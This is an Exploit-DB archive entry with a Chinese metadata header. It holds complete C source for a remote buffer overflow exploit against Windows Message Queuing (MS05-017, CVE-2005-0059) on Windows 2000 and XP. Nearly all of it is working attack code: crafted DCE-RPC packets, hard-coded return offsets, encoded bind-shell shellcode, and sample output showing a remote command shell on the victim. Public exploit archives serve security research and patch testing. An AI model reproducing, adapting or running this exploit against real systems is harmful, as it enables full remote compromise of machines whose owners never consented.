标题: Microsoft Windows Message Queuing - Remote Buffer Overflow Universal (MS05-017) (v.0.3) EDB-ID: 1075 CVE: 2005-0059 类型: REMOTE 平台: WINDOWS 发布日期: 2005-06-29 漏洞利用脚本: /* HOD-ms05017-msmq-expl.c: 2005-06-28: PUBLIC v.0.3
 *
 * Copyright (c) 2004-2005 houseofdabus.
 *
 * (MS05-017) Message Queuing Buffer Overflow Vulnerability
 * Universal Exploit
 *
 *
 *
 *                 .::[ houseofdabus ]::.
 *
 *
 *
 * [ http://www.livejournal.com/users/houseofdabus
 * ---------------------------------------------------------------------
 * Systems Affected:
 *    - Windows XP SP1
 *    - Windows 2000 SP4
 *    - Windows 2000 SP3
 *
 * ---------------------------------------------------------------------
 * Description:
 *    A remote code execution vulnerability exists in Message Queuing
 *    that could allow an attacker who successfully exploited this
 *    vulnerability to take complete control of the affected system.
 *
 * ---------------------------------------------------------------------
 * Solution:
 *    http://www.microsoft.com/technet/security/Bulletin/MS05-017.mspx
 *
 * ---------------------------------------------------------------------
 * Tested on:
 *    - Windows XP SP1
 *    - Windows XP SP0
 *    - Windows 2000 PRO SP4
 *    - Windows 2000 PRO SP3
 *    - Windows 2000 Server SP4
 *    - Windows 2000 AdvServer SP4
 *
 * ---------------------------------------------------------------------
 * Compile:
 *
 * Win32/VC++  : cl -o HOD-ms05017-msmq-expl HOD-ms05017-msmq-expl.c
 * Win32/cygwin: gcc -o HOD-ms05017-msmq-expl HOD-ms05017-msmq-expl.c
 * Linux       : gcc -o HOD-ms05017-msmq-expl HOD-ms05017-msmq-expl.c
 *
 * ---------------------------------------------------------------------
 * Example:
 *
 * C:\>HOD-ms05017-msmq-expl 192.168.0.1 2103 HOD 7777
 *
 * [*] Connecting to 192.168.0.22:2103 ... OK
 * [*] Attacking...OK
 *
 * C:\>telnet 192.168.0.1 7777
 *
 * Microsoft Windows 2000 [Version 5.00.2195]
 * (C) Copyright 1985-2000 Microsoft Corp.
 *
 * C:\WINNT\system32>net stop msmq
 *
 * The Message Queuing service was stopped successfully.
 *
 * C:\WINNT\system32>net start msmq
 * The Message Queuing service is starting..
 * The Message Queuing service was started successfully.
 *
 * C:\WINNT\system32>
 *
 * For some system (Windows 2000 Server/AdvServer):
 *
 * C:\>HOD-ms05017-msmq-expl.exe 192.168.0.1 2103 HOD 9999 8
 *
 * [*] Connecting to 192.168.0.210:2103 ... OK
 * [*] Attacking...........OK
 *
 * C:\>telnet 192.168.0.1 9999
 *
 * Microsoft Windows 2000 [Version 5.00.2195]
 * (C) Copyright 1985-2000 Microsoft Corp.
 *
 *
 * ---------------------------------------------------------------------
 *
 * This is provided as proof-of-concept code only for educational
 * purposes and testing by authorized individuals with permission
 * to do so.
 *
 */

/* #define _WIN32 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifdef _WIN32
#include <winsock2.h>
#pragma comment(lib, "ws2_32")
#pragma pack(1)
#else
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#endif


#define NOP   0x90
#define _DCE_RPC_BIND  0x0B


typedef struct dce_rpc {
 unsigned char ver;
 unsigned char ver_minor;
 unsigned char pkt_type;
 unsigned char pkt_flags;
 unsigned long data_repres;
 unsigned short frag_len;
 unsigned short auth_len;
 unsigned long caller_id;
} DCE_RPC, *PDCE_RPC;


typedef struct dce_rpc_bind {
 unsigned short max_xmit;
 unsigned short max_recv;
 unsigned long asc_group;
 unsigned long num_con_items;
 unsigned short con_id;
 unsigned short num_trn_items;
 /* unsigned char *interface_uuid; */
 /* unsigned short interface_ver; */
 /* unsigned short interface_ver_min; */
 /* unsigned char *uuid; */
 /* unsigned long syntax_ver; */
} DCE_RPC_BIND, *PDCE_RPC_BIND;



unsigned char dce_rpc_header1[] =
 "\x05\x00\x00\x01\x10\x00\x00\x00\x18\x04\x00\x00\x00\x00\x00\x00"
 "\x00\x04\x00\x00\x00\x00\x09\x00\x01\x00\x00\x00\x01\x00\x00\x00"
 "\x01\x00\x00\x00\x03\x00\x00\x00\x03\x00\x00\x00\x02\x00\x00\x00"
 "\xE4\x07\x00\x00\x00\x00\x00\x00\xE4\x07\x00\x00"
 "\x4F\x00\x53\x00\x3A\x00";
 /* ... Remote NetBIOS name */

unsigned char tag_private[] =
 /* \PRIVATE$\ */
 "\x5C\x00"
 "\x50\x00\x52\x00\x49\x00\x56\x00\x41\x00\x54\x00\x45\x00\x24\x00"
 "\x5C\x00";

unsigned char dce_rpc_header2[] =
 "\x05\x00\x00\x00\x10\x00\x00\x00\x18\x04\x00\x00\x00\x00\x00\x00"
 "\x00\x04\x00\x00\x00\x00\x09\x00";

unsigned char dce_rpc_header3[] =
 "\x05\x00\x00\x02\x10\x00\x00\x00\x04\x04\x00\x00\x00\x00\x00\x00"
 "\xEC\x03\x00\x00\x00\x00\x09\x00";


unsigned char offsets[] =
 /* entry point (jmp over) */
 "\xEB\x08\x90\x90"
 /* for Windows 2000 */
 /* mqsvc.exe - pop reg; pop reg; retn; */
 "\xE9\x14\x40\x00"
 "\x90\x90\x90\x90\x90\x90\x90\x90"

 /* entry point (jmp over) */
 "\xEB\x08\x90\x90"
 /* for Windows 2000 Server/AdvServer */
 /* mqsvc.exe - pop reg; pop reg; retn; */
 "\xE9\x14\x40\x00"
 "\x90\x90\xEB\x1A\x41\x40\x68\x6F\x75\x73\x65\x6F\x66\x64\x61\x62"
 "\x75\x73\x48\x41"
 /* entry point (jmp over) */
 "\xEB\x06\x90\x90"
 /* for Windows XP */
 /* mqsvc.exe - pop reg; pop reg; retn; */
 "\x4d\x12\x00\x01"
 "\x90\x90\x90\x90\x90\x90";


unsigned char bind_shellcode[] =
 "\x29\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x19"
 "\xf5\x04\x37\x83\xeb\xfc\xe2\xf4\xe5\x9f\xef\x7a\xf1\x0c\xfb\xc8"
 "\xe6\x95\x8f\x5b\x3d\xd1\x8f\x72\x25\x7e\x78\x32\x61\xf4\xeb\xbc"
 "\x56\xed\x8f\x68\x39\xf4\xef\x7e\x92\xc1\x8f\x36\xf7\xc4\xc4\xae"
 "\xb5\x71\xc4\x43\x1e\x34\xce\x3a\x18\x37\xef\xc3\x22\xa1\x20\x1f"
 "\x6c\x10\x8f\x68\x3d\xf4\xef\x51\x92\xf9\x4f\xbc\x46\xe9\x05\xdc"
 "\x1a\xd9\x8f\xbe\x75\xd1\x18\x56\xda\xc4\xdf\x53\x92\xb6\x34\xbc"
 "\x59\xf9\x8f\x47\x05\x58\x8f\x77\x11\xab\x6c\xb9\x57\xfb\xe8\x67"
 "\xe6\x23\x62\x64\x7f\x9d\x37\x05\x71\x82\x77\x05\x46\xa1\xfb\xe7"
 "\x71\x3e\xe9\xcb\x22\xa5\xfb\xe1\x46\x7c\xe1\x51\x98\x18\x0c\x35"
 "\x4c\x9f\x06\xc8\xc9\x9d\xdd\x3e\xec\x58\x53\xc8\xcf\xa6\x57\x64"
 "\x4a\xa6\x47\x64\x5a\xa6\xfb\xe7\x7f\x9d\x1a\x55\x7f\xa6\x8d\xd6"
 "\x8c\x9d\xa0\x2d\x69\x32\x53\xc8\xcf\x9f\x14\x66\x4c\x0a\xd4\x5f"
 "\xbd\x58\x2a\xde\x4e\x0a\xd2\x64\x4c\x0a\xd4\x5f\xfc\xbc\x82\x7e"
 "\x4e\x0a\xd2\x67\x4d\xa1\x51\xc8\xc9\x66\x6c\xd0\x60\x33\x7d\x60"
 "\xe6\x23\x51\xc8\xc9\x93\x6e\x53\x7f\x9d\x67\x5a\x90\x10\x6e\x67"
 "\x40\xdc\xc8\xbe\xfe\x9f\x40\xbe\xfb\xc4\xc4\xc4\xb3\x0b\x46\x1a"
 "\xe7\xb7\x28\xa4\x94\x8f\x3c\x9c\xb2\x5e\x6c\x45\xe7\x46\x12\xc8"
 "\x6c\xb1\xfb\xe1\x42\xa2\x56\x66\x48\xa4\x6e\x36\x48\xa4\x51\x66"
 "\xe6\x25\x6c\x9a\xc0\xf0\xca\x64\xe6\x23\x6e\xc8\xe6\xc2\xfb\xe7"
 "\x92\xa2\xf8\xb4\xdd\x91\xfb\xe1\x4b\x0a\xd4\x5f\xf6\x3b\xe4\x57"
 "\x4a\x0a\xd2\xc8\xc9\xf5\x04\x37";

#define SET_PORTBIND_PORT(buf, port) \
 *(unsigned short *)(((buf)+186)) = (port)


int
hex2raw(unsigned char *s, unsigned char *out)
{
 unsigned long i, len, j = 0;
 unsigned long ret = 0;

 len = strlen(s);
 for (i = 0; i < len; i+=2) {
  if ((s[i] >= 0x30) && (s[i] <= 0x39))
   j = s[i] - 0x30;
  else
   j = s[i] - 0x61 + 10;
  j *= 16;
  if ((s[i+1] >= 0x30) && (s[i+1] <= 0x39))
   j += s[i+1] - 0x30;
  else
   j += s[i+1] - 0x61 + 10;
  out[ret] = (unsigned char)j;
  ret++;
 }

return ret;
}

void
inverse(unsigned char *io, unsigned long len)
{
 unsigned long i;
 unsigned char c;

 for (i = 0; i < len/2; i++) {
  c = io[len-i-1];
  io[len-i-1] = io[i];
  io[i] = c;
 }
}


int
encode_uuid(unsigned char *uuid, unsigned char *out)
{
 unsigned long i, len, ret;
 unsigned cnt = 0, ar = 0;
 unsigned char *ptr;

 ptr = uuid;
 len = strlen(uuid);
 for (i = 0; i < len; i++) {
  if (uuid[i] == '-') {
   uuid[i] = '\0';
   if (ar < 3) {
    ret = hex2raw(ptr, out);
    inverse(out, ret);
    out += ret; cnt += ret;
   }
   else {
    ret = hex2raw(ptr, out);
    out += ret; cnt += ret;
   }
   ptr = uuid+i+1;
   ar++;
  }
 }
 out[len] = '\0';

 ret = hex2raw(ptr, out);
 out += ret; cnt += ret;

return cnt;
}

unsigned char *
dce_rpc_bind(
 unsigned long cid,
 unsigned char *uuid,
 unsigned short ver,
 unsigned long *pkt_len)
{
 unsigned char vuid[] = "8a885d04-1ceb-11c9-9fe8-08002b104860";
 unsigned char *pkt, *euuid, *tmp;
 unsigned long cnt;
 unsigned short ret;
 PDCE_RPC_BIND rpc_bind;
 PDCE_RPC rpc;

 pkt = (unsigned char *)calloc(2048, 1);
 euuid = (unsigned char *)calloc(strlen(uuid)/2+2, 1);

 tmp = pkt;
 pkt += sizeof(DCE_RPC);
 rpc_bind = (PDCE_RPC_BIND)pkt;
 rpc_bind->max_xmit = 0x16D0;
 rpc_bind->max_recv = 0x16D0;
 rpc_bind->asc_group = 0;
 rpc_bind->num_con_items = 1;
 rpc_bind->con_id = 0;
 rpc_bind->num_trn_items = 1;

 pkt += sizeof(DCE_RPC_BIND);

 cnt = encode_uuid(uuid, pkt);
 pkt += cnt;
 memcpy(pkt, &ver, sizeof(short));
 pkt += sizeof(short);
 *pkt++ = 0; *pkt++ = 0;
 cnt = encode_uuid(vuid, pkt);
 pkt += cnt;
 *pkt++ = 2; *pkt++ = 0;

 ret = pkt - tmp;
 rpc = (PDCE_RPC)tmp;
 rpc->ver = 5;
 rpc->ver_minor = 0;
 rpc->pkt_type = _DCE_RPC_BIND;
 rpc->pkt_flags = 3;
 rpc->data_repres = 16;
 rpc->frag_len = ret + 2;
 rpc->auth_len = 0;
 rpc->caller_id = cid;

 *pkt_len = ret + 2;
 free(euuid);

return tmp;
}

void
convert_name(char *out, char *name)
{
 unsigned long len;

 len = strlen(name);
 out += len * 2 - 1;
 while (len--) {
  *out-- = '\x00';
  *out-- = name[len];
 }
}



int
main (int argc, char **argv)
{

 unsigned char endp[] = "fdb3a030-065f-11d1-bb9b-00a024ea5525";
 unsigned char *packet = NULL;
 unsigned short bindport;
 unsigned long cnt;
 struct sockaddr_in addr;
 struct hostent *he;
 int len, cpkt = 1;
 int sockfd;
 char recvbuf[4096];
 char *buff, *ptr;
#ifdef _WIN32  
 WSADATA wsa;  
#endif  


 printf("\n      (MS05-017) Message Queuing Buffer Overflow Vulnerability\n\n");
 printf("\t     Copyright (c) 2004-2005 .: houseofdabus :.\n\n\n");


 if (argc < 5) {
  printf("%s <host> <port> <netbios name> <bind port> [count]\n", argv[0]);
  printf("\nMSMQ ports: 2103, 2105, 2107\n");
  printf("count - number of packets. for Win2k Server/AdvServer = 6-8\n\n");
  exit(0);
 }

#ifdef _WIN32  
 WSAStartup(MAKEWORD(2,0), &wsa);  
#endif  

 if ((he = gethostbyname(argv[1])) == NULL) {
  printf("[-] Unable to resolve %s\n", argv[1]);
  return 0;
 }

 if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
  printf("[-] create socket failed\n");
  exit(0);
 }

 addr.sin_family = AF_INET;
 addr.sin_port = htons((short)atoi(argv[2]));
 addr.sin_addr = *((struct in_addr *)he->h_addr);  
 memset(&(addr.sin_zero), '\0', 8);

 printf("\n[*] Connecting to %s:%u ... ", argv[1], atoi(argv[2]));
 if (connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0) {
  printf("\n[-] connect failed!\n");
  exit(0);
 }
 printf("OK\n");

 packet = dce_rpc_bind(0, endp, 1, &cnt);

 if (send(sockfd, packet, cnt, 0) == -1) {
  printf("[-] send failed\n");
  exit(0);
 }

 len = recv(sockfd, recvbuf, 4096, 0);
 if (len <= 0) {
  printf("[-] recv failed\n");
  exit(0);
 }
 free(packet);

 printf("[*] Attacking...");

 buff = (char *) malloc(4172);
 memset(buff, NOP, 4172);

 ptr = buff;
 memcpy(ptr, dce_rpc_header1, sizeof(dce_rpc_header1)-1);
 ptr += sizeof(dce_rpc_header1)-1;

 // Remote NetBIOS name
 convert_name(ptr, argv[3]);
 ptr += strlen(argv[3])*2;

 memcpy(ptr, tag_private, sizeof(tag_private)-1);
 ptr += sizeof(tag_private)-1;

 memcpy(buff+1048,   dce_rpc_header2, sizeof(dce_rpc_header2)-1);
 memcpy(buff+1048*2, dce_rpc_header2, sizeof(dce_rpc_header2)-1);
 memcpy(buff+1048*3, dce_rpc_header3, sizeof(dce_rpc_header3)-1);

 // offsets
 ptr = buff;
 ptr += 438;
 memcpy(ptr, offsets, sizeof(offsets)-1);
 ptr += sizeof(offsets)-1;

 // shellcode
 bindport = (unsigned short)atoi(argv[4]);
 bindport ^= 0x0437;
 SET_PORTBIND_PORT(bind_shellcode, htons(bindport));
 memcpy(ptr, bind_shellcode, sizeof(bind_shellcode)-1);

 buff[4170] = '\0';
 buff[4171] = '\0';

 if (argc == 6) cpkt = atoi(argv[5]);

 while (cpkt--) {
  printf(".");
  if (send(sockfd, buff, 4172, 0) == -1) {
   printf("\n[-] send failed\n");
   exit(0);
  }
 }
 printf(" OK\n");


return 0;
}

// milw0rm.com [2005-06-29] URL: https://www.exploit-db.com/exploits/1075